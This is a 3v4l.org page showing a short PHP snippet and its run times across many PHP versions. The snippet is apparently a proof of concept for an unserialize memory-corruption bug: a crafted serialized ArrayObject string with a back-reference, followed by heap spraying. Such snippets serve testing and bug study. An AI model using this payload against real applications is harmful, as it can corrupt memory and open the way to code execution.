3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $inner = 'x:i:1234;a:0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01116.75
8.3.50.0150.00720.97
8.3.40.0080.00818.65
8.3.30.0090.00618.85
8.3.20.0110.00420.25
8.3.10.0050.00323.48
8.3.00.0040.00419.69
8.2.180.0180.00316.63
8.2.170.0110.00422.96
8.2.160.0100.00320.43
8.2.150.0060.00324.18
8.2.140.0080.00024.66
8.2.130.0050.00326.16
8.2.120.0060.00317.75
8.2.110.0030.00622.08
8.2.100.0040.00817.88
8.2.90.0060.00319.21
8.2.80.0000.00817.97
8.2.70.0050.00317.50
8.2.60.0040.00418.03
8.2.50.0110.00018.07
8.2.40.0050.00319.46
8.2.30.0060.00318.12
8.2.20.0000.00817.83
8.2.10.0060.00318.25
8.2.00.0000.00718.14
8.1.280.0000.01425.92
8.1.270.0080.00020.24
8.1.260.0000.00826.35
8.1.250.0040.00428.09
8.1.240.0060.00322.59
8.1.230.0090.00317.48
8.1.220.0000.00817.76
8.1.210.0050.00318.77
8.1.200.0030.00617.23
8.1.190.0040.00417.25
8.1.180.0070.00018.10
8.1.170.0050.00318.59
8.1.160.0000.00721.95
8.1.150.0100.00018.89
8.1.140.0000.00817.37
8.1.130.0000.00717.61
8.1.120.0000.00817.46
8.1.110.0040.00417.44
8.1.100.0000.00817.36
8.1.90.0050.00217.45
8.1.80.0070.00017.43
8.1.70.0050.00217.34
8.1.60.0050.00317.57
8.1.50.0000.00817.50
8.1.40.0000.00817.50
8.1.30.0000.00817.68
8.1.20.0050.00317.64
8.1.10.0030.00617.56
8.1.00.0000.00717.53
8.0.300.0070.00318.77
8.0.290.0030.00616.75
8.0.280.0040.00418.46
8.0.270.0000.00817.26
8.0.260.0080.00017.17
8.0.250.0040.00417.05
8.0.240.0040.00416.91
8.0.230.0070.00017.02
8.0.220.0000.00716.93
8.0.210.0000.00916.97
8.0.200.0030.00317.01
8.0.190.0040.00416.93
8.0.180.0040.00416.94
8.0.170.0000.00817.02
8.0.160.0040.00417.05
8.0.150.0050.00216.79
8.0.140.0000.00916.75
8.0.130.0060.00013.38
8.0.120.0050.00317.01
8.0.110.0040.00416.88
8.0.100.0050.00216.83
8.0.90.0050.00216.75
8.0.80.0030.01617.02
8.0.70.0000.00816.97
8.0.60.0030.00516.79
8.0.50.0000.00717.03
8.0.30.0110.00916.95
8.0.20.0130.00917.40
8.0.10.0070.00017.13
8.0.00.0110.00616.79
7.4.330.0000.00515.08
7.4.320.0060.00016.56
7.4.300.0030.00316.60
7.4.290.0030.00316.54
7.4.280.0040.00416.57
7.4.270.0030.00316.67
7.4.260.0110.00016.49
7.4.250.0000.00916.40
7.4.240.0050.00216.51
7.4.230.0030.00316.61
7.4.220.0070.01116.63
7.4.210.0070.00716.46
7.4.200.0030.00316.70
7.4.160.0110.00616.69
7.4.150.0190.00317.40
7.4.140.0100.00917.86
7.4.130.0030.01716.47
7.4.120.0050.01616.54
7.4.110.0060.01016.52
7.4.100.0090.01416.48
7.4.90.0110.00616.35
7.4.80.0070.01119.39
7.4.70.0070.01416.42
7.4.60.0100.01016.30
7.4.50.0050.00016.40
7.4.40.0040.01216.46
7.4.30.0120.01116.67
7.4.00.0090.00315.14
7.3.330.0000.00513.38
7.3.320.0000.00513.17
7.3.310.0080.00016.37
7.3.300.0000.00716.32
7.3.290.0080.00916.35
7.3.280.0090.00816.37
7.3.270.0090.00917.40
7.3.260.0080.00816.36
7.3.240.0120.01216.43
7.3.230.0120.00916.39
7.3.210.0160.00016.45
7.3.200.0060.01216.55
7.3.190.0040.01616.44
7.3.180.0150.00316.69
7.3.170.0120.00316.55
7.3.160.0120.00816.33
7.2.330.0030.01316.75
7.2.320.0120.00616.47
7.2.310.0110.00916.67
7.2.300.0070.01016.69
7.2.290.0060.01616.72
7.2.80.0060.00616.77
7.2.60.0080.00816.56
7.2.00.0120.00919.59
7.1.200.0070.00715.46
7.1.100.0030.00618.19
7.1.70.0040.00417.09
7.1.60.0090.01219.27
7.1.50.0150.00916.95
7.1.00.0030.07722.32
7.0.200.0470.01316.30
7.0.60.0130.06320.02
7.0.50.0070.04017.91
7.0.40.0070.07720.05
7.0.30.0170.04320.13
7.0.20.0270.05020.12
7.0.10.0200.04020.19
7.0.00.0030.08720.09
5.6.280.0000.03321.16
5.6.210.0200.07020.70
5.6.200.0100.04318.13
5.6.190.0130.07720.64
5.6.180.0230.08320.57
5.6.170.0300.07320.51
5.6.160.0100.08020.61
5.6.150.0170.06718.16
5.6.140.0170.05318.18
5.6.130.0070.06318.15
5.6.120.0130.03021.15
5.6.110.0030.04021.14
5.6.100.0000.07720.95
5.6.90.0130.05320.99
5.6.80.0100.08720.40
5.6.70.4170.02020.43
5.5.350.0030.08020.45
5.5.340.0030.04317.99
5.5.330.0100.08020.35
5.5.320.0270.06320.23
5.5.310.0170.04720.31
5.5.300.0100.04318.04
5.5.290.0030.05018.08
5.5.280.0300.04020.80
5.5.270.0130.06720.73
5.5.260.0100.08720.80
5.5.250.0000.06720.69
5.5.240.0070.07720.15
5.4.450.0200.06019.54
5.4.440.0300.06719.28
5.4.430.0100.05719.19
5.4.420.0130.05719.39
5.4.410.0230.04719.16
5.4.400.0230.04318.80
5.4.390.0170.05319.05
5.4.380.0170.05318.77
5.4.370.0130.05719.25
5.4.360.0270.04719.27
5.4.350.0130.05719.07
5.4.340.0170.05318.96
5.4.320.0130.05718.78
5.4.310.0170.05019.25
5.4.300.0170.05319.27
5.4.290.0130.06719.14
5.4.280.0130.06319.23
5.4.270.0100.05719.05
5.4.260.0230.04319.14
5.4.250.0270.04019.14
5.4.240.0100.06019.03
5.4.230.0230.04719.34
5.4.220.0170.05719.20
5.4.210.0200.05318.77
5.4.200.0130.05319.34
5.4.190.0100.05719.24
5.4.180.0170.05019.24
5.4.170.0170.05719.26
5.4.160.0070.06019.25
5.4.150.0230.05718.86
5.4.140.0170.05016.42
5.4.130.0230.04716.40
5.4.120.0270.04716.38
5.4.110.0130.05316.60
5.4.100.0230.04016.43
5.4.90.0070.06016.28
5.4.80.0330.05716.61
5.4.70.0330.06316.56
5.4.60.0330.04016.54
5.4.50.0000.04016.56
5.4.40.0070.06716.53
5.4.30.0070.07016.16
5.4.20.0170.07016.16

preferences:
55.04 ms | 401 KiB | 5 Q